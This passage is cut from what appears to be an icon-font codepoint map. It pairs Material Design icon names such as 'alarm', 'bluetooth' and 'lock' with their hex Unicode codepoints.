"all_inbox": "E97F", "align_vertical_top": "E00C", "align_vertical_center": "E011", "align_vertical_bottom": "E015", "align_horizontal_right": "E010", "align_horizontal_left": "E00D", "align_horizontal_center": "E00F", "album": "E019", "alarm_on": "E858", "alarm_off": "E857", "alarm_add": "E856", "alarm": "E855", "airport_shuttle": "EB3C", "airplay": "E055", "airplanemode_on": "E195", "airplanemode_off": "E194", "airplanemode_inactive": "E194", "airplanemode_active": "E195", "airplane_ticket": "EFD9", "airlines": "E7CA", "airline_stops": "E7D0", "airline_seat_recline_normal": "E637", "airline_seat_recline_extra": "E636", "airline_seat_legroom_reduced": "E635", "airline_seat_legroom_normal": "E634", "airline_seat_legroom_extra": "E633", "airline_seat_individual_suite": "E632", "airline_seat_flat_angled": "E631", "airline_seat_flat": "E630", "air": "EFD8", "agriculture": "EA79", "ads_click": "E762", "adobe": "EA96", "admin_panel_settings": "EF3D", "adjust": "E39E", "adf_scanner": "EADA", "addchart": "EF3C", "add_to_queue": "E05C", "add_to_photos": "E39D", "add_to_home_screen": "E1FE", "add_to_drive": "E65C", "add_task": "F23A", "add_shopping_cart": "E854", "add_road": "EF3B", "add_reaction": "E1D3", "add_photo_alternate": "E43E", "add_moderator": "E97D", "add_location_alt": "EF3A", "add_location": "E567", "add_link": "E178", "add_ic_call": "E97C", "add_home_work": "F8ED", "add_home": "F8EB", "add_comment": "E266", "add_circle_outline": "E148", "add_circle": "E147", "add_chart": "E97B", "add_card": "EB86", "add_call": "E0E8", "add_business": "E729", "add_box": "E146", "add_alert": "E003", "add_alarm": "E193", "add_a_photo": "E439", "add": "E145", "adb": "E60E", "ad_units": "EF39", "account_tree": "E97A", "account_circle": "E853", "account_box": "E851", "account_balance_wallet": "E850", "account_balance": "E84F", "accessible_forward": "E934", "accessible": "E914", "accessibility_new": "E92C", "accessibility": "E84E", "access_time_filled": "EFD6", "access_time": "E192", "access_alarms": "E191", "access_alarm": "E190", "ac_unit": "EB3B", "abc": "EB94", "business_center": "EB3F", "business": "E0AF", "bus_alert": "E98F", "burst_mode": "E43C", "bungalow": "E591", "build_circle": "EF48", "build": "E869", "bug_report": "E868", "bubble_chart": "E6DD", "brush": "E3AE", "brunch_dining": "EA73", "browser_updated": "E7CF", "browser_not_supported": "EF47", "browse_gallery": "EBD1", "broken_image": "E3AD", "broadcast_on_personal": "F8F9", "broadcast_on_home": "F8F8", "brightness_medium": "E1AE", "brightness_low": "E1AD", "brightness_high": "E1AC", "brightness_auto": "E1AB", "brightness_7": "E3AC", "brightness_6": "E3AB", "brightness_5": "E3AA", "brightness_4": "E3A9", "brightness_3": "E3A8", "brightness_2": "E3A7", "brightness_1": "E3A6", "breakfast_dining": "EA54", "branding_watermark": "E06B", "boy": "EB67", "border_vertical": "E233", "border_top": "E232", "border_style": "E231", "border_right": "E230", "border_outer": "E22F", "border_left": "E22E", "border_inner": "E22D", "border_horizontal": "E22C", "border_color": "E22B", "border_clear": "E22A", "border_bottom": "E229", "border_all": "E228", "bookmarks": "E98B", "bookmark_remove": "E59A", "bookmark_outline": "E867", "bookmark_border": "E867", "bookmark_added": "E599", "bookmark_add": "E598", "bookmark": "E866", "book_online": "F217", "book": "E865", "bolt": "EA0B", "blur_on": "E3A5", "blur_off": "E3A4", "blur_linear": "E3A3", "blur_circular": "E3A2", "bluetooth_searching": "E1AA", "bluetooth_drive": "EFE5", "bluetooth_disabled": "E1A9", "bluetooth_connected": "E1A8", "bluetooth_audio": "E60F", "bluetooth": "E1A7", "bloodtype": "EFE4", "block_flipped": "EF46", "block": "E14B", "blinds_closed": "EC1F", "blinds": "E286", "blender": "EFE3", "biotech": "EA3A", "bike_scooter": "EF45", "bento": "F1F4", "beenhere": "E52D", "bedtime_off": "EB76", "bedtime": "EF44", "bedroom_parent": "EFE2", "bedroom_child": "EFE1", "bedroom_baby": "EFE0", "bed": "EFDF", "beach_access": "EB3E", "battery_unknown": "E1A6", "battery_std": "E1A5", "battery_saver": "EFDE", "battery_full": "E1A4", "battery_charging_full": "E1A3", "battery_alert": "E19C", "battery_6_bar": "EBD2", "battery_5_bar": "EBD4", "battery_4_bar": "EBE2", "battery_3_bar": "EBDD", "battery_2_bar": "EBE0", "battery_1_bar": "EBD9", "battery_0_bar": "EBDC", "bathtub": "EA41", "bathroom": "EFDD", "batch_prediction": "F0F5", "bar_chart": "E26B", "ballot": "E172", "balcony": "E58F", "balance": "EAF6", "bakery_dining": "EA53", "badge": "EA67", "backup_table": "EF43", "backup": "E864", "backspace": "E14A", "backpack": "F19C", "back_hand": "E764", "baby_changing_station": "F19B", "cyclone": "EBD5", "curtains_closed": "EC1D", "curtains": "EC1E", "currency_yuan": "EAF9", "currency_yen": "EAFB", "currency_rupee": "EAF7", "currency_ruble": "EAEC", "currency_pound": "EAF1", "currency_lira": "EAEF", "currency_franc": "EAFA", "currency_exchange": "EB70", "currency_bitcoin": "EBC5", "css": "EB93", "cruelty_free": "E799", "crop_square": "E3C6", "crop_rotate": "E437", "crop_portrait": "E3C5", "crop_original": "E3C4", "crop_landscape": "E3C3", "crop_free": "E3C2", "crop_din": "E3C1", "crop_7_5": "E3C0", "crop_5_4": "E3BF", "crop_3_2": "E3BD", "crop_16_9": "E3BC", "crop": "E3BE", "crisis_alert": "EBE9", "crib": "E588", "credit_score": "EFF1", "credit_card_off": "E4F4", "credit_card": "E870", "create_new_folder": "E2CC", "create": "E150", "countertops": "F1F7", "cottage": "E587", "corporate_fare": "F1D0", "coronavirus": "F221", "copyright": "E90C", "copy_all": "E2EC", "cookie": "EAAC", "control_point_duplicate": "E3BB", "control_point": "E3BA", "control_camera": "E074", "contrast": "EB37", "content_paste_search": "EA9B", "content_paste_off": "E4F8", "content_paste_go": "EA8E", "content_paste": "E14F", "content_cut": "E14E", "content_copy": "E14D", "contacts": "E0BA", "contactless": "EA71", "contact_support": "E94C", "contact_phone": "E0CF", "contact_page": "F22E", "contact_mail": "E0D0", "construction": "EA3C", "connecting_airports": "E7C9", "connected_tv": "E998", "connect_without_contact": "F223", "confirmation_number": "E638", "confirmation_num": "E638", "computer": "E30A", "compress": "E94D", "compost": "E761", "compass_calibration": "E57C", "compare_arrows": "E915", "compare": "E3B9", "commute": "E940", "commit": "EAF5", "comments_disabled": "E7A2", "comment_bank": "EA4E", "comment": "E0B9", "colorize": "E3B8", "color_lens": "E3B7", "collections_bookmark": "E431", "collections": "E3B6", "coffee_maker": "EFF0", "coffee": "EFEF", "code_off": "E4F3", "code": "E86F", "co_present": "EAF0", "co2": "E7B0", "cloudy_snowing": "E810", "cloud_upload": "E2C3", "cloud_sync": "EB5A", "cloud_queue": "E2C2", "cloud_off": "E2C1", "cloud_download": "E2C0", "cloud_done": "E2BF", "cloud_circle": "E2BE", "cloud": "E2BD", "closed_caption_off": "E996", "closed_caption_disabled": "F1DC", "closed_caption": "E01C", "close_fullscreen": "F1CF", "close": "E5CD", "clear_all": "E0B8", "clear": "E14C", "cleaning_services": "F0FF", "clean_hands": "F21F", "class": "E86E", "circle_notifications": "E994", "circle": "EF4A", "church": "EAAE", "chrome_reader_mode": "E86D", "child_friendly": "EB42", "child_care": "EB41", "chevron_right": "E5CC", "chevron_left": "E5CB", "checkroom": "F19E", "checklist_rtl": "E6B3", "checklist": "E6B1", "check_circle_outline": "E92D", "check_circle": "E86C", "check_box_outline_blank": "E835", "check_box": "E834", "check": "E5CA", "chat_bubble_outline": "E0CB", "chat_bubble": "E0CA", "chat": "E0B7", "charging_station": "F19D", "change_history": "E86B", "change_circle": "E2E7", "chalet": "E585", "chair_alt": "EFEE", "chair": "EFED", "center_focus_weak": "E3B5", "center_focus_strong": "E3B4", "cell_wifi": "E0EC", "cell_tower": "EBBA", "celebration": "EA65", "category": "E574", "catching_pokemon": "E508", "castle": "EAB1", "cast_for_education": "EFEC", "cast_connected": "E308", "cast": "E307", "casino": "EB40", "cases": "E992", "carpenter": "F1F8", "card_travel": "E8F8", "card_membership": "E8F7", "card_giftcard": "E8F6", "car_repair": "EA56", "car_rental": "EA55", "car_crash": "EBF2", "candlestick_chart": "EAD4", "cancel_schedule_send": "EA39", "cancel_presentation": "E0E9", "cancel": "E5C9", "campaign": "EF49", "cameraswitch": "EFEB", "camera_roll": "E3B3", "camera_rear": "E3B2", "camera_outdoor": "EFEA", "camera_indoor": "EFE9", "camera_front": "E3B1", "camera_enhance": "E8FC", "camera_alt": "E3B0", "camera": "E3AF", "call_to_action": "E06C", "call_split": "E0B6", "call_received": "E0B5", "call_missed_outgoing": "E0E4", "call_missed": "E0B4", "call_merge": "E0B3", "call_made": "E0B2", "call_end": "E0B1", "call": "E0B0", "calendar_view_week": "EFE8", "calendar_view_month": "EFE7", "calendar_view_day": "E936", "calendar_today": "E935", "calendar_month": "EBCC", "calculate": "EA5F", "cake": "E7E9", "cached": "E86A", "cable": "EFE6", "cabin": "E589", "dynamic_form": "F1BF", "dynamic_feed": "EA14", "dvr": "E1B2", "duo": "E9A5", "dry_cleaning": "EA58", "dry": "F1B3", "drive_folder_upload": "E9A3", "drive_file_rename_outline": "E9A2", "drive_file_move_rtl": "E76D", "drive_file_move_outline": "E9A1", "drive_file_move": "E675", "drive_eta": "E613", "draw": "E746", "drag_indicator": "E945", "drag_handle": "E25D", "drafts": "E151", "downloading": "F001", "download_for_offline": "F000", "download_done": "F091", "download": "F090", "downhill_skiing": "E509", "double_arrow": "EA50", "doorbell": "EFFF", "door_sliding": "EFFE", "door_front": "EFFD", "door_back": "EFFC", "donut_small": "E918", "donut_large": "E917", "done_outline": "E92F", "done_all": "E877", "done": "E876", "domain_verification": "EF4C", "domain_disabled": "E0EF", "domain_add": "EB62", "domain": "E7EE", "document_scanner": "E5FA", "dock": "E30E", "do_not_touch": "F1B0", "do_not_step": "F19F", "do_not_disturb_on_total_silence": "EFFB", "do_not_disturb_on": "E644", "do_not_disturb_off": "E643", "do_not_disturb_alt": "E611", "do_not_disturb": "E612", "do_disturb_on": "F08F", "do_disturb_off": "F08E", "do_disturb_alt": "F08D", "do_disturb": "F08C", "dns": "E875", "dnd_forwardslash": "E611", "display_settings": "EB97", "discount": "EBC9", "discord": "EA6C", "disc_full": "E610", "disabled_visible": "E76E", "disabled_by_default": "F230", "dirty_lens": "EF4B", "directions_walk": "E536", "directions_transit_filled": "EFFA", "directions_transit": "E535", "directions_train": "E534", "directions_subway_filled": "EFF9", "directions_subway": "E533", "directions_run": "E566", "directions_railway_filled": "EFF8", "directions_railway": "E534", "directions_off": "F10F", "directions_ferry": "E532", "directions_car_filled": "EFF7", "directions_car": "E531", "directions_bus_filled": "EFF6", "directions_bus": "E530", "directions_boat_filled": "EFF5", "directions_boat": "E532", "directions_bike": "E52F", "directions": "E52E", "dinner_dining": "EA57", "dining": "EFF4", "difference": "EB7D", "diamond": "EAD5", "dialpad": "E0BC", "dialer_sip": "E0BB", "devices_other": "E337", "devices_fold": "EBDE", "devices": "E1B1", "device_unknown": "E339", "device_thermostat": "E1FF", "device_hub": "E335", "developer_mode": "E1B0", "developer_board_off": "E4FF", "developer_board": "E30D", "details": "E3C8", "desktop_windows": "E30C", "desktop_mac": "E30B", "desktop_access_disabled": "E99D", "desk": "F8F4", "design_services": "F10A", "deselect": "EBB6", "description": "E873", "departure_board": "E576", "density_small": "EBA8", "density_medium": "EB9E", "density_large": "EBA9", "delivery_dining": "EA72", "delete_sweep": "E16C", "delete_outline": "E92E", "delete_forever": "E92B", "delete": "E872", "dehaze": "E3C7", "deck": "EA42", "deblur": "EB77", "date_range": "E916", "dataset_linked": "F8EF", "dataset": "F8EE", "data_usage": "E1AF", "data_thresholding": "EB9F", "data_saver_on": "EFF3", "data_saver_off": "EFF2", "data_object": "EAD3", "data_exploration": "E76F", "data_array": "EAD1", "dashboard_customize": "E99B", "dashboard": "E871", "dark_mode": "E51C", "dangerous": "E99A", "extension_off": "E4F5", "extension": "E87B", "exposure_zero": "E3CF", "exposure_plus_2": "E3CE", "exposure_plus_1": "E3CD", "exposure_neg_2": "E3CC", "exposure_neg_1": "E3CB", "exposure_minus_2": "E3CC", "exposure_minus_1": "E3CB", "exposure": "E3CA", "explore_off": "E9A8", "explore": "E87A", "explicit": "E01E", "expand_more": "E5CF", "expand_less": "E5CE", "expand_circle_down": "E7CD", "expand": "E94F", "exit_to_app": "E879", "event_seat": "E903", "event_repeat": "EB7B", "event_note": "E616", "event_busy": "E615", "event_available": "E614", "event": "E878", "ev_station": "E56D", "euro_symbol": "E926", "euro": "EA15", "escalator_warning": "F1AC", "escalator": "F1A1", "error_outline": "E001", "error": "E000", "equalizer": "E01D", "enhanced_encryption": "E63F", "enhance_photo_translate": "E8FC", "engineering": "EA3D", "energy_savings_leaf": "EC1A", "emoji_transportation": "EA1F", "emoji_symbols": "EA1E", "emoji_people": "EA1D", "emoji_objects": "EA24", "emoji_nature": "EA1C", "emoji_food_beverage": "EA1B", "emoji_flags": "EA1A", "emoji_events": "EA23", "emoji_emotions": "EA22", "emergency_share": "EBF6", "emergency_recording": "EBF4", "emergency": "E1EB", "email": "E0BE", "elevator": "F1A0", "electrical_services": "F102", "electric_scooter": "EB1F", "electric_rickshaw": "EB1E", "electric_moped": "EB1D", "electric_meter": "EC1B", "electric_car": "EB1C", "electric_bolt": "EC1C", "electric_bike": "EB1B", "elderly_woman": "EB69", "elderly": "F21A", "eject": "E8FB", "egg_alt": "EAC8", "egg": "EACC", "edit_road": "EF4D", "edit_off": "E950", "edit_notifications": "E525", "edit_note": "E745", "edit_location_alt": "E1C5", "edit_location": "E568", "edit_calendar": "E742", "edit_attributes": "E578", "edit": "E3C9", "edgesensor_low": "F006", "edgesensor_high": "F005", "eco": "EA35", "east": "F1DF", "earbuds_battery": "F004", "earbuds": "F003", "e_mobiledata": "F002", "functions": "E24A", "fullscreen_exit": "E5D1", "fullscreen": "E5D0", "front_hand": "E769", "free_cancellation": "E748", "free_breakfast": "EB44", "foundation": "F200", "forward_to_inbox": "F187", "forward_5": "E058", "forward_30": "E057", "forward_10": "E056", "forward": "E154", "forum": "E0BF", "fort": "EAAD", "format_underlined": "E249", "format_underline": "E249", "format_textdirection_r_to_l": "E248", "format_textdirection_l_to_r": "E247", "format_strikethrough": "E246", "format_size": "E245", "format_shapes": "E25E", "format_quote": "E244", "format_paint": "E243", "format_overline": "EB65", "format_list_numbered_rtl": "E267", "format_list_numbered": "E242", "format_list_bulleted": "E241", "format_line_spacing": "E240", "format_italic": "E23F", "format_indent_increase": "E23E", "format_indent_decrease": "E23D", "format_color_text": "E23C", "format_color_reset": "E23B", "format_color_fill": "E23A", "format_clear": "E239", "format_bold": "E238", "format_align_right": "E237", "format_align_left": "E236", "format_align_justify": "E235", "format_align_center": "E234", "fork_right": "EBAC", "fork_left": "EBA0", "forest": "EA99", "food_bank": "F1F2", "font_download_off": "E4F9", "font_download": "E167", "follow_the_signs": "F222", "folder_zip": "EB2C", "folder_special": "E617", "folder_shared": "E2C9", "folder_open": "E2C8", "folder_off": "EB83", "folder_delete": "EB34", "folder_copy": "EBBD", "folder": "E2C7", "foggy": "E818", "fmd_good": "F00F", "fmd_bad": "F00E", "flutter_dash": "E00B", "flourescent": "F00D", "flood": "EBE6", "flip_to_front": "E883", "flip_to_back": "E882", "flip_camera_ios": "EA38", "flip_camera_android": "EA37", "flip": "E3E8", "flight_takeoff": "E905", "flight_land": "E904", "flight_class": "E7CB", "flight": "E539", "flatware": "F00C", "flashlight_on": "F00B", "flashlight_off": "F00A", "flash_on": "E3E7", "flash_off": "E3E6", "flash_auto": "E3E5", "flare": "E3E4", "flaky": "EF50", "flag_circle": "EAF8", "flag": "E153", "fitness_center": "EB43", "fitbit": "E82B", "fit_screen": "EA10", "first_page": "E5DC", "fireplace": "EA43", "fire_truck": "F8F2", "fire_hydrant_alt": "F8F1", "fire_hydrant": "F1A3", "fire_extinguisher": "F1D8", "fingerprint": "E90D", "find_replace": "E881", "find_in_page": "E880", "filter_vintage": "E3E3", "filter_tilt_shift": "E3E2", "filter_none": "E3E0", "filter_list_off": "EB57", "filter_list_alt": "E94E", "filter_list": "E152", "filter_hdr": "E3DF", "filter_frames": "E3DE", "filter_drama": "E3DD", "filter_center_focus": "E3DC", "filter_b_and_w": "E3DB", "filter_alt_off": "EB32", "filter_alt": "EF4F", "filter_9_plus": "E3DA", "filter_9": "E3D9", "filter_8": "E3D8", "filter_7": "E3D7", "filter_6": "E3D6", "filter_5": "E3D5", "filter_4": "E3D4", "filter_3": "E3D2", "filter_2": "E3D1", "filter_1": "E3D0", "filter": "E3D3", "file_upload": "E2C6", "file_present": "EA0E", "file_open": "EAF3", "file_download_off": "E4FE", "file_download_done": "E9AA", "file_download": "E2C4", "file_copy": "E173", "fiber_smart_record": "E062", "fiber_pin": "E06A", "fiber_new": "E05E", "fiber_manual_record": "E061", "fiber_dvr": "E05D", "festival": "EA68", "fence": "F1F6", "female": "E590", "feedback": "E87F", "feed": "F009", "featured_video": "E06E", "featured_play_list": "E06D", "fax": "EAD8", "favorite_outline": "E87E", "favorite_border": "E87E", "favorite": "E87D", "fastfood": "E57A", "fast_rewind": "E020", "fast_forward": "E01F", "family_restroom": "F1A2", "factory": "EBBC", "fact_check": "F0C5", "facebook": "F234", "face_retouching_off": "F007", "face_retouching_natural": "EF4E", "face": "E87C", "groups": "F233", "group_work": "E886", "group_remove": "E7AD", "group_off": "E747", "group_add": "E7F0", "group": "E7EF", "grid_view": "E9B0", "grid_on": "E3EC", "grid_off": "E3EB", "grid_goldenratio": "F017", "grid_4x4": "F016", "grid_3x3": "F015", "grass": "F205", "graphic_eq": "E1B8", "grain": "E3EA", "grading": "EA4F", "gradient": "E3E9", "grade": "E885", "gps_off": "E1B5", "gps_not_fixed": "E1B4", "gps_fixed": "E1B3", "gpp_maybe": "F014", "gpp_good": "F013", "gpp_bad": "F012", "golf_course": "EB45", "goat": "EBFF", "gite": "E58B", "girl": "EB68", "gif_box": "E7A3", "gif": "E908", "get_app": "E884", "gesture": "E155", "generating_tokens": "E749", "gavel": "E90E", "gas_meter": "EC19", "garage": "F011", "games": "E021", "gamepad": "E30F", "g_translate": "E927", "g_mobiledata": "F010", "hvac": "F10E", "hub": "E9F4", "https": "E88D", "http": "E902", "html": "EB7E", "how_to_vote": "E175", "how_to_reg": "E174", "houseboat": "E584", "house_siding": "F202", "house": "EA44", "hourglass_top": "EA5B", "hourglass_full": "E88C", "hourglass_empty": "E88B", "hourglass_disabled": "EF53", "hourglass_bottom": "EA5C", "hotel_class": "E743", "hotel": "E53A", "hot_tub": "EB46", "horizontal_split": "E947", "horizontal_rule": "F108", "horizontal_distribute": "E014", "home_work": "EA09", "home_repair_service": "F100", "home_mini": "F025", "home_max": "F024", "home_filled": "E9B2", "home": "E88A", "holiday_village": "E58A", "hls_off": "EB8C", "hls": "EB8A", "hive": "EAA6", "history_toggle_off": "F17D", "history_edu": "EA3E", "history": "E889", "hiking": "E50A", "highlight_remove": "E888", "highlight_off": "E888", "highlight_alt": "EF52", "highlight": "E25F", "high_quality": "E024", "hide_source": "F023", "hide_image": "F022", "hexagon": "EB39", "hevc": "F021", "help_outline": "E8FD", "help_center": "F1C0", "help": "E887", "height": "EA16", "heat_pump": "EC18", "heart_broken": "EAC2", "hearing_disabled": "F104", "hearing": "E023", "health_and_safety": "E1D5", "healing": "E3F3", "headset_off": "E33A", "headset_mic": "E311", "headset": "E310", "headphones_battery": "F020", "headphones": "F01F", "hdr_weak": "E3F2", "hdr_strong": "E3F1", "hdr_plus": "F01E", "hdr_on_select": "F01D", "hdr_on": "E3EE", "hdr_off_select": "F01C", "hdr_off": "E3ED", "hdr_enhanced_select": "EF51", "hdr_auto_select": "F01B", "hdr_auto": "F01A", "hd": "E052", "hardware": "EA59", "handyman": "F10B", "handshake": "EBCB", "hail": "E9B1", "h_plus_mobiledata": "F019", "h_mobiledata": "F018", "iso": "E3F6", "iron": "E583", "ios_share": "E6B8", "invert_colors_on": "E891", "invert_colors_off": "E0C4", "invert_colors": "E891", "inventory_2": "E1A1", "inventory": "E179", "interpreter_mode": "E83B", "interests": "E7C8", "integration_instructions": "EF54", "install_mobile": "EB72", "install_desktop": "EB71", "insights": "F092", "insert_photo": "E251", "insert_page_break": "EACA", "insert_link": "E250", "insert_invitation": "E24F", "insert_emoticon": "E24E", "insert_drive_file": "E24D", "insert_comment": "E24C", "insert_chart_outlined": "E26A", "insert_chart": "E24B", "input": "E890", "info_outline": "E88F", "info": "E88E", "indeterminate_check_box": "E909", "incomplete_circle": "E79B", "inbox": "E156", "important_devices": "E912", "import_export": "E0C3", "import_contacts": "E0E0", "imagesearch_roller": "E9B4", "image_search": "E43F", "image_not_supported": "F116", "image_aspect_ratio": "E3F5", "image": "E3F4", "icecream": "EA69", "ice_skating": "E50B", "join_right": "EAEA", "join_left": "EAF2", "join_inner": "EAF4", "join_full": "EAEB", "javascript": "EB7C", "kitesurfing": "E50D", "kitchen": "EB47", "king_bed": "EA45", "keyboard_voice": "E31D", "keyboard_tab": "E31C", "keyboard_return": "E31B", "keyboard_option_key": "EAE8", "keyboard_option": "EADF", "keyboard_hide": "E31A", "keyboard_double_arrow_up": "EACF", "keyboard_double_arrow_right": "EAC9", "keyboard_double_arrow_left": "EAC3", "keyboard_double_arrow_down": "EAD0", "keyboard_control_key": "EAE6", "keyboard_control": "E5D3", "keyboard_command_key": "EAE7", "keyboard_command": "EAE0", "keyboard_capslock": "E318", "keyboard_backspace": "E317", "keyboard_arrow_up": "E316", "keyboard_arrow_right": "E315", "keyboard_arrow_left": "E314", "keyboard_arrow_down": "E313", "keyboard_alt": "F028", "keyboard": "E312", "key_off": "EB84", "key": "E73C", "kebab_dining": "E842", "kayaking": "E50C", "lyrics": "EC0B", "lunch_dining": "EA61", "luggage": "F235", "lte_plus_mobiledata": "F02D", "lte_mobiledata": "F02C", "loyalty": "E89A", "low_priority": "E16D", "loupe": "E402", "loop": "E028", "looks_two": "E401", "looks_one": "E400", "looks_6": "E3FF", "looks_5": "E3FE", "looks_4": "E3FD", "looks_3": "E3FB", "looks": "E3FC", "logout": "E9BA", "logo_dev": "EAD6", "login": "EA77", "lock_reset": "EADE", "lock_person": "F8F3", "lock_outline": "E899", "lock_open": "E898", "lock_clock": "EF57", "lock": "E897", "location_searching": "E1B7", "location_pin": "F1DB", "location_on": "E0C8", "location_off": "E0C7", "location_history": "E55A", "location_disabled": "E1B6", "location_city": "E7F1", "local_taxi": "E559", "local_shipping": "E558", "local_see": "E557", "local_restaurant": "E556", "local_printshop": "E555", "local_print_shop": "E555", "local_post_office": "E554", "local_police": "EF56", "local_play": "E553", "local_pizza": "E552", "local_phone": "E551", "local_pharmacy": "E550", "local_parking": "E54F", "local_offer": "E54E", "local_movies": "E54D", "local_mall": "E54C", "local_library": "E54B", "local_laundry_service": "E54A", "local_hotel": "E549", "local_hospital": "E548", "local_grocery_store": "E547", "local_gas_station": "E546", "local_florist": "E545", "local_fire_department": "EF55", "local_drink": "E544", "local_dining": "E556", "local_convenience_store": "E543", "local_car_wash": "E542", "local_cafe": "E541", "local_bar": "E540", "local_attraction": "E53F", "local_atm": "E53E", "local_airport": "E53D", "local_activity": "E53F", "living": "F02B", "live_tv": "E639", "live_help": "E0C6", "list_alt": "E0EE", "list": "E896", "liquor": "EA60", "linked_camera": "E438", "link_off": "E16F", "link": "E157", "linear_scale": "E260", "line_weight": "E91A", "line_style": "E919", "line_axis": "EA9A", "lightbulb_outline": "E90F", "lightbulb_circle": "EBFE", "lightbulb": "E0F0", "light_mode": "E518", "light": "F02A", "library_music": "E030", "library_books": "E02F", "library_add_check": "E9B7", "library_add": "E02E", "lens_blur": "F029", "lens": "E3FA", "legend_toggle": "F11B", "leave_bags_at_home": "F21B", "leak_remove": "E3F9", "leak_add": "E3F8", "leaderboard": "F20C", "layers_clear": "E53C", "layers": "E53B", "launch": "E895", "last_page": "E5DD", "laptop_windows": "E321", "laptop_mac": "E320", "laptop_chromebook": "E31F", "laptop": "E31E", "language": "E894", "landslide": "EBD7", "landscape": "E3F7", "lan": "EB2F", "label_outline": "E893", "label_off": "E9B6", "label_important_outline": "E948", "label_important": "E937", "label": "E892", "my_location": "E55C", "my_library_music": "E030", "my_library_books": "E02F", "my_library_add": "E02E", "music_video": "E063", "music_off": "E440", "music_note": "E405", "museum": "EA36", "multitrack_audio": "E1B8", "multiple_stop": "F1B9", "multiline_chart": "E6DF", "mp": "E9C3", "moving": "E501", "movie_filter": "E43A", "movie_creation": "E404", "movie": "E02C", "move_up": "EB64", "move_to_inbox": "E168", "move_down": "EB61", "mouse": "E323", "motorcycle": "E91B", "motion_photos_paused": "E9C2", "motion_photos_pause": "F227", "motion_photos_on": "E9C1", "motion_photos_off": "E9C0", "motion_photos_auto": "F03A", "mosque": "EAB2", "more_vert": "E5D4", "more_time": "EA5D", "more_horiz": "E5D3", "more": "E619", "moped": "EB28", "mood_bad": "E7F3", "mood": "E7F2", "monochrome_photos": "E403", "monitor_weight": "F039", "monitor_heart": "EAA2", "monitor": "EF5B", "money_off_csred": "F038", "money_off": "E25C", "money": "E57D", "monetization_on": "E263", "model_training": "F0CF", "mode_standby": "F037", "mode_of_travel": "E7CE", "mode_night": "F036", "mode_fan_off": "EC17", "mode_edit_outline": "F035", "mode_edit": "E254", "mode_comment": "E253", "mode": "F097", "mobiledata_off": "F034", "mobile_screen_share": "E0E7", "mobile_off": "E201", "mobile_friendly": "E200", "mms": "E618", "missed_video_call": "E073", "miscellaneous_services": "F10C", "minor_crash": "EBF1", "minimize": "E931", "military_tech": "EA3F", "microwave": "F204", "mic_off": "E02B", "mic_none": "E02A", "mic_external_on": "EF5A", "mic_external_off": "EF59", "mic": "E029", "messenger_outline": "E0CB", "messenger": "E0CA", "message": "E0C9", "merge_type": "E252", "merge": "EB98", "menu_open": "E9BD", "menu_book": "EA19", "menu": "E5D2", "memory": "E322", "meeting_room": "EB4F", "medication_liquid": "EA87", "medication": "F033", "medical_services": "F109", "medical_information": "EBED", "mediation": "EFA7", "media_bluetooth_on": "F032", "media_bluetooth_off": "F031", "maximize": "E930", "masks": "F218", "markunread_mailbox": "E89B", "markunread": "E159", "mark_unread_chat_alt": "EB9D", "mark_email_unread": "F18A", "mark_email_read": "F18C", "mark_chat_unread": "F189", "mark_chat_read": "F18B", "mark_as_unread": "E9BC", "margin": "E9BB", "maps_ugc": "EF58", "maps_home_work": "F030", "map": "E55B", "manage_search": "F02F", "manage_history": "EBE7", "manage_accounts": "F02E", "man": "E4EB", "male": "E58E", "mail_outline": "E0E1", "mail_lock": "EC0A", "mail": "E158", "numbers": "EAC7", "now_widgets": "E1BD", "now_wallpaper": "E1BC", "notifications_paused": "E7F8", "notifications_on": "E7F7", "notifications_off": "E7F6", "notifications_none": "E7F5", "notifications_active": "E7F7", "notifications": "E7F4", "notification_important": "E004", "notification_add": "E399", "notes": "E26C", "note_alt": "F040", "note_add": "E89C", "note": "E06F", "not_started": "F0D1", "not_listed_location": "E575", "not_interested": "E033", "not_accessible": "F0FE", "north_west": "F1E2", "north_east": "F1E1", "north": "F1E0", "nordic_walking": "E50E", "noise_control_off": "EBF3", "noise_aware": "EBEC", "no_transfer": "F1D5", "no_stroller": "F1AF", "no_sim": "E0CC", "no_photography": "F1A8", "no_meeting_room": "EB4E", "no_meals_ouline": "F229", "no_meals": "F1D6", "no_luggage": "F23B", "no_food": "F1A7", "no_flash": "F1A6", "no_encryption_gmailerrorred": "F03F", "no_encryption": "E641", "no_drinks": "F1A5", "no_crash": "EBF0", "no_cell": "F1A4", "no_backpack": "F237", "no_adult_content": "F8FE", "no_accounts": "F03E", "nights_stay": "EA46", "nightlight_round": "EF5E", "nightlight": "F03D", "nightlife": "EA62", "night_shelter": "F1F1", "nfc": "E1BB", "next_week": "E16A", "next_plan": "EF5D", "newspaper": "EB81", "new_releases": "E031", "new_label": "E609", "network_wifi_3_bar": "EBE1", "network_wifi_2_bar": "EBD6", "network_wifi_1_bar": "EBE4", "network_wifi": "E1BA", "network_ping": "EBCA", "network_locked": "E61A", "network_check": "E640", "network_cell": "E1B9", "nest_cam_wired_stand": "EC16", "nearby_off": "F03C", "nearby_error": "F03B", "near_me_disabled": "F1EF", "near_me": "E569", "navigation": "E55D", "navigate_next": "E409", "navigate_before": "E408", "nature_people": "E407", "nature": "E406", "nat": "EF5C", "output": "EBBE", "outlined_flag": "E16E", "outlet": "F1D4", "outgoing_mail": "F0D2", "outdoor_grill": "EA47", "outbox": "EF5F", "outbound": "E1CA", "outbond": "F228", "other_houses": "E58C", "open_with": "E89F", "open_in_new_off": "E4F6", "open_in_new": "E89E", "open_in_full": "F1CE", "open_in_browser": "E89D", "opacity": "E91C", "online_prediction": "F0EB", "ondemand_video": "E63A", "on_device_training": "EBFD", "oil_barrel": "EC15", "offline_share": "E9C5", "offline_pin": "E90A", "offline_bolt": "E932", "push_pin": "F10D", "punch_clock": "EAA8", "published_with_changes": "F232", "publish": "E255", "public_off": "F1CA", "public": "E80B", "psychology_alt": "F8EA", "psychology": "EA4A", "propane_tank": "EC13", "propane": "EC14", "production_quantity_limits": "E1D1", "private_connectivity": "E744", "privacy_tip": "F0DC", "priority_high": "E645", "print_disabled": "E9CF", "print": "E8AD", "price_check": "F04B", "price_change": "F04A", "preview": "F1C5", "present_to_all": "E0DF", "pregnant_woman": "E91E", "precision_manufacturing": "F049", "power_settings_new": "E8AC", "power_off": "E646", "power_input": "E336", "power": "E63C", "post_add": "EA20", "portrait": "E416", "portable_wifi_off": "E0CE", "pool": "EB48", "polymer": "E8AB", "polyline": "EBBB", "poll": "E801", "policy": "EA17", "point_of_sale": "F17E", "podcasts": "F048", "plus_one": "E800", "plumbing": "F107", "playlist_remove": "EB80", "playlist_play": "E05F", "playlist_add_circle": "E7E5", 